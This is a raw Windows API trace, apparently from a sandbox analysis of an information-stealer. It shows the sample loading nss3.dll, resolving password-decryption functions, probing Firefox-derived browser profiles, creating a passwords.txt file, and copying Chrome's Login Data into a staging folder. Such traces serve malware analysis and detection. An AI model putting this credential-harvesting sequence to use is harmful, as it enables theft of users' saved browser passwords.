GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.370] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.370] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.370] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.370] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Waterfox\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.370] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.370] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.371] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.372] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.372] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.372] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.372] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.372] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.372] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.372] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.373] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.373] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.373] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.373] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.373] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.374] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.374] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.374] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.374] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.374] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.374] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.375] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.375] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.375] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.375] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.375] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.375] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.376] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.377] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.377] SetEnvironmentVariableA (lpName="PATH", lpValue="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData;C:\\ProgramData") returned 1 [0050.377] LoadLibraryA (lpLibFileName="C:\\ProgramData\\nss3.dll") returned 0x73880000 [0050.377] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Init") returned 0x7390dc11 [0050.377] GetProcAddress (hModule=0x73880000, lpProcName="NSS_Shutdown") returned 0x7390de9c [0050.377] GetProcAddress (hModule=0x73880000, lpProcName="PK11_GetInternalKeySlot") returned 0x739322b8 [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="PK11_FreeSlot") returned 0x73931d2a [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="PK11_Authenticate") returned 0x7391aa95 [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="PK11SDR_Decrypt") returned 0x7392e262 [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_open") returned 0x73884077 [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_prepare_v2") returned 0x738848cd [0050.378] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_step") returned 0x73885efb [0050.379] GetProcAddress (hModule=0x73880000, lpProcName="sqlite3_column_text") returned 0x738861da [0050.379] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\K-Meleon\\*", lpFindFileData=0x19f410 | out: lpFindFileData=0x19f410) returned 0xffffffff [0050.379] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.379] GetFileType (hFile=0x388) returned 0x1 [0050.379] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.379] GetLastError () returned 0x83 [0050.379] GetLastError () returned 0x83 [0050.379] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0x58a200 [0050.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\." (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\.")) returned 0x10 [0050.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\.\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\login data")) returned 0xffffffff [0050.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\.\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\history")) returned 0xffffffff [0050.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\.\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\cookies")) returned 0xffffffff [0050.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\.\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\web data")) returned 0xffffffff [0050.385] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="..", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\.." (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome")) returned 0x10 [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\..\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\login data")) returned 0xffffffff [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\..\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\history")) returned 0xffffffff [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\..\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\cookies")) returned 0xffffffff [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\..\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\web data")) returned 0xffffffff [0050.386] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\certificatetransparency")) returned 0x10 [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\login data")) returned 0xffffffff [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\history")) returned 0xffffffff [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\cookies")) returned 0xffffffff [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\web data")) returned 0xffffffff [0050.387] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\crashpad")) returned 0x10 [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\crashpad\\login data")) returned 0xffffffff [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\crashpad\\history")) returned 0xffffffff [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\crashpad\\cookies")) returned 0xffffffff [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\crashpad\\web data")) returned 0xffffffff [0050.388] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Default", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default")) returned 0x10 [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x20 [0050.390] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.390] GetFileType (hFile=0x390) returned 0x1 [0050.391] CreateFileW (lpFileName="ld" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.391] GetFileType (hFile=0x394) returned 0x1 [0050.391] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.394] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.394] WriteFile (in: hFile=0x394, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.395] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.395] WriteFile (in: hFile=0x394, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.395] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.395] WriteFile (in: hFile=0x394, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.395] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x800, lpOverlapped=0x0) returned 1 [0050.395] WriteFile (in: hFile=0x394, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.396] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x0, lpOverlapped=0x0) returned 1 [0050.396] WriteFile (in: hFile=0x394, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x19d4d8, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4d8*=0x800, lpOverlapped=0x0) returned 1 [0050.396] GetFullPathNameW (in: lpFileName="ld", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.396] GetFullPathNameW (in: lpFileName="ld", nBufferLength=0x2a, lpBuffer=0x1f140c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld", lpFilePart=0x0) returned 0x26 [0050.396] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.396] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0050.396] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.396] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld", nBufferLength=0x2a, lpBuffer=0x1f14120, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld", lpFilePart=0x0) returned 0x26 [0050.396] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8 | out: lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8) returned 1 [0050.397] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f150*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f150*=0) returned 0x0 [0050.397] ReadFile (in: hFile=0x390, lpBuffer=0x19f1cc, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f170, lpOverlapped=0x0 | out: lpBuffer=0x19f1cc*, lpNumberOfBytesRead=0x19f170*=0x64, lpOverlapped=0x0) returned 1 [0050.397] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.397] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed0c | out: lpOverlapped=0x19ed0c) returned 1 [0050.397] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2ff, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.397] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ecf8 | out: lpFileInformation=0x19ecf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.397] GetLastError () returned 0x2 [0050.397] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed30 | out: lpFileSizeHigh=0x19ed30*=0x0) returned 0x4800 [0050.397] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a32e, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.397] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ed10 | out: lpFileInformation=0x19ed10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.397] GetLastError () returned 0x2 [0050.397] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed48 | out: lpFileSizeHigh=0x19ed48*=0x0) returned 0x4800 [0050.398] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ecfc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ecfc*=0) returned 0x0 [0050.398] ReadFile (in: hFile=0x390, lpBuffer=0x1f33eac, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ed1c, lpOverlapped=0x0 | out: lpBuffer=0x1f33eac*, lpNumberOfBytesRead=0x19ed1c*=0x800, lpOverlapped=0x0) returned 1 [0050.398] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.398] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.398] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ee48 | out: lpOverlapped=0x19ee48) returned 1 [0050.398] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2ff, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.398] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ee34 | out: lpFileInformation=0x19ee34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.398] GetLastError () returned 0x2 [0050.398] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee84 | out: lpFileSizeHigh=0x19ee84*=0x0) returned 0x4800 [0050.398] SetFilePointer (in: hFile=0x390, lDistanceToMove=24, lpDistanceToMoveHigh=0x19ee70*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee70*=0) returned 0x18 [0050.398] ReadFile (in: hFile=0x390, lpBuffer=0x19eec0, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x19ee90, lpOverlapped=0x0 | out: lpBuffer=0x19eec0*, lpNumberOfBytesRead=0x19ee90*=0x10, lpOverlapped=0x0) returned 1 [0050.398] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee6c | out: lpFileSizeHigh=0x19ee6c*=0x0) returned 0x4800 [0050.398] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a32e, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.399] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\ld-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\ld-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ee4c | out: lpFileInformation=0x19ee4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.399] GetLastError () returned 0x2 [0050.399] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee84 | out: lpFileSizeHigh=0x19ee84*=0x0) returned 0x4800 [0050.399] SetFilePointer (in: hFile=0x390, lDistanceToMove=6144, lpDistanceToMoveHigh=0x19ee60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee60*=0) returned 0x1800 [0050.399] ReadFile (in: hFile=0x390, lpBuffer=0x1e8e704, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ee80, lpOverlapped=0x0 | out: lpBuffer=0x1e8e704*, lpNumberOfBytesRead=0x19ee80*=0x800, lpOverlapped=0x0) returned 1 [0050.399] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.399] 